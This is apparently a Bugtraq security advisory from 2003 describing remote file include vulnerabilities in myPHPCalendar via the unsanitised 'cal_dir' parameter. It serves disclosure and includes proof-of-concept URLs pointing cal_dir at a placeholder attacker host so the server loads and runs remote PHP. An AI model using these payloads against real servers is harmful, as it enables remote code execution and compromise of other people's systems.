Multiple myPHPCalendar File Include Vulnerabilities

Bugtraq ID:	8820
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 13 2003 12:00AM
Updated:	Oct 13 2003 12:00AM
Credit:	Discovery of this vulnerability has been credited to "Frog Man" <[email protected]>.
Vulnerable:	myPHPCalendar myPHPCalendar 10192k Build 1 Beta
Not Vulnerable:

Multiple myPHPCalendar File Include Vulnerabilities

myPHPCalendar has been reported prone to multiple file include vulnerabilities. These issues present themselves due to a lack of sufficient sanitization performed on user-supplied values for the 'cal_dir' URI parameter.

A remote attacker may exploit these conditions to include arbitrary external PHP scripts and have the code contained executed in the context of the web server.

Multiple myPHPCalendar File Include Vulnerabilities

The following proof of concept has been supplied:

http://www.example.com/admin.php?cal_dir=http://[attacker]/
http://www.example.com/contacts.php?cal_dir=http://[attacker]/
http://www.example.com/convert-date.php?cal_dir=http://[attacker]/

will include the files :

http://[attacker]/vars.inc and/or http://[attacker]/prefs.inc

and http://www.example.com/index.php?cal_dir=http://[attacker]/ will include the
files :
http://[target]/globals.inc http://[target]/sql.inc

Multiple myPHPCalendar File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Multiple myPHPCalendar File Include Vulnerabilities

References:

• myPHPCalendar Homepage (myPHPCalendar)
  
• myPHPCalendar : Informations Disclosure, File Include ("Frog Man" )